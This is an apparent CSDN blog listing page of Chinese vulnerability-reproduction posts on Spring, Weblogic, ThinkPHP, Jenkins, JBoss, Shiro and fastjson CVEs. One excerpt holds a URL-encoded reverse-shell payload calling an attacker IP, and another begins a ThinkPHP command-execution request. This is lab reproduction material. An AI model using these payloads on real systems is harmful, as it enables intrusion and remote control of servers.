「已注销」-CSDN博客

原创漏洞复现—Spring CVE-2016-4977/CVE-2017-4971/CVE-2017-8046/CVE-2018-1270/CVE-2018-1273

CVE-2017-4971// 注意反弹的端口和IP修改，反弹语句需要url编码&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub

2020-12-24 17:27:23 1086 2

原创漏洞复现—Weblogic CVE-2017-10271/CVE-2018-2628/CVE-2018-2894/CVE-2020-14882/ssrf/weak_password

这里写目录标题基础知识漏洞原理涉及版本漏洞特征漏洞复现—CVE-2017-10271 'wls-wsat' XMLDecoder 反序列化漏洞CVE-2018-2628 Weblogic T3协议反序列化漏洞CVE-2018-2894 Weblogic任意文件上传漏洞CVE-2020-14882 weblogic 未授权命令执行漏洞漏洞修复基础知识Weblogic是oracle推出的application server，由于其具有支持EJB、JSP、JMS、XML等多种语言、可扩展性、快速开发等多种特性

2020-11-27 15:20:55 1667

原创漏洞复现—ThinkPHP 2.x/5.0.x/5.1.x/5 in-sqlinjection 命令执行漏洞

Thinkphp—2-rce一级目录二级目录三级目录涉及版本漏洞复现2-rce一级目录二级目录三级目录涉及版本5.0.8-5.0.13 不需要开启debug// payloadPOST /tp5010/public/index.php?s=index/index/index HTTP/1.1Host: 127.0.0.1:8000Content-Length: 52Content-Type: application/x-www-form-urlencodeds=whoami&a

2020-11-24 15:16:27 1265 2

原创漏洞复现—Jenkins反序列化漏洞CVE-2017-100035/ CVE-2018-1000861

Jenkins反序列化漏洞利用CVE-2017-1000353基础知识漏洞原理影响版本复现思路复现—CVE-2018-10008611、特征检测基础知识序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。 Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，ObjectInputStream类的readObject()方法用于反序列化。形成漏洞的根源在于类ObjectInputStream在反序列

2020-11-17 12:24:10 625 1

原创漏洞复现—Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504

Jboss反序列化漏洞利用CVE-2017-12149/CVE-2017-7504基础知识漏洞原理影响版本复现思路复现—CVE-2017-121491、特征检测2、反弹shell复现—CVE-2017-75041、特征检测2、反弹shell基础知识序列化就是把对象转换成字节流，便于保存在内存、文件、数据库中；反序列化即逆过程，由字节流还原成对象。 Java中的ObjectOutputStream类的writeObject()方法可以实现序列化，ObjectInputStream类的readObj

2020-11-12 17:11:21 776 1

原创漏洞复现—Shiro rememberMe反序列化漏洞CVE-2016-4437

shrio反序列化漏洞一、漏洞介绍Shiro 是 Java 的一个安全框架。Apache Shiro默认使用了CookieRememberMeManager，其处理cookie的流程是：得到rememberMe的cookie值 > Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的，就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。二、影响范围Apache Shiro <= 1.2.4三、漏洞复现恶意 Cookie rememberMe值构造前1

2020-11-11 17:18:53 1587 4

原创漏洞复现—fastjson反序列化漏洞1.2.24/1.2.47

fastjson-反序列化漏洞1.2.24/1.2.47基础知识漏洞原理影响版本复现思路复现—Fastjson1.2.24复现—Fastjson1.2.45/1.2.47基础知识Fastjson 是阿里巴巴的开源JSON解析库，它可以解析 JSON 格式的字符串，支持将 Java Bean 序列化为 JSON 字符串，也可以从 JSON 字符串反序列化到 JavaBean。反序列化常用的两种利用方式，一种是基于rmi，一种是基于ldap。RMI是一种行为，指的是Java远程方法调用。漏洞原理Fas

2020-11-04 12:22:08 826

原创 frida（windows-android）

安卓测试-windows安装frida环境安卓测试frida环境安装python安装对应版本frida手动安装frida-12.9.4插入链接与图片如何插入一段漂亮的代码片生成一个适合你的列表创建一个表格设定内容居中、居左、居右SmartyPants创建一个自定义列表如何创建一个注脚注释也是必不可少的KaTeX数学公式新的甘特图功能，丰富你的文章UML 图表FLowchart流程图导出与导入导出导入安卓测试小小白的安全之旅-因为搭建环境的时候摔倒在地上费了好大劲才爬起来想要记录一下下次站着跨过去f

2020-07-17 14:19:25 351 1

weixin_45556536的博客